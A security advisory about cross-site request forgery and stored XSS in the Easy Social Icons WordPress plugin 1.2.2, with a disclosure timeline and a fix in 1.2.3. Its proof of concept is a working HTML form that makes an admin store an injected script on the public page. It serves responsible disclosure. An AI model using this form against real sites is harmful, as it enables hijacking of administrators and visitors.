WordPress Easy Social Icons plugin version 1.2.2 suffers from cross site request forgery and cross site scripting vulnerabilities.
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Product: Easy Social Icons WordPress plugin
Vendor: CyberNetikz
Tested Version: 1.2.2
Vulnerability Type: XSS [CWE-79] and CSRF [CWE-352]
Risk Level: Medium
Solution Status: Solved in version 1.2.3
Discovered and Provided: Eric Flokstra - ITsec Security Services
====================================================
[-] About the Vendor:
Easy Social Icons is a WordPress plugin and can be used to set icons on
the public page in order to link to social media platforms such as
LinkedIn, Twitter or Facebook.
[-] Advisory Details:
It is discovered that insufficient validation is performed on the
'image_file' parameter enabling arbitrary JavaScript to be injected. On
top of that no random tokens are used to prevent CSRF attacks. By
combining these vulnerabilities an attacker could for example trick an
admin into setting a persistent XSS payload on the public WordPress page.
[-] Proof of Concept:
<html>
<body>
<form
action="http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1"
<http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1>
method="POST" enctype="multipart/form-data">
<input type="hidden" name="title" value="Example" />
<input type="hidden" name="image_file"
value="http://10.0.2.215/wordpress/wp-content/uploads/2015/02/cookie.jpg"><script>alert(1)</script>"
/>
<input type="hidden" name="url"
value="http://www.example.org" />
<input type="hidden" name="sortorder" value="0" />
<input type="hidden" name="target" value="1" />
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="submit_button"
value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
[-] Disclosure Timeline:
[02 Feb 2015]: Vendor notification
[02 Feb 2015]: Vulnerability confirmation
[11 Feb 2015]: Vulnerability patched
[19 Feb 2015]: Public disclosure
[-] Solution:
Update to the latest version of Easy Social Icons.
[-] References:
[1] Easy Social Icons Changelog --
https://wordpress.org/plugins/easy-social-icons/changelog/
[2] Common Weakness Enumeration (CWE) -- http://cwe.mitre.org
[3] ITsec Security Services BV -- http://www.itsec.nl
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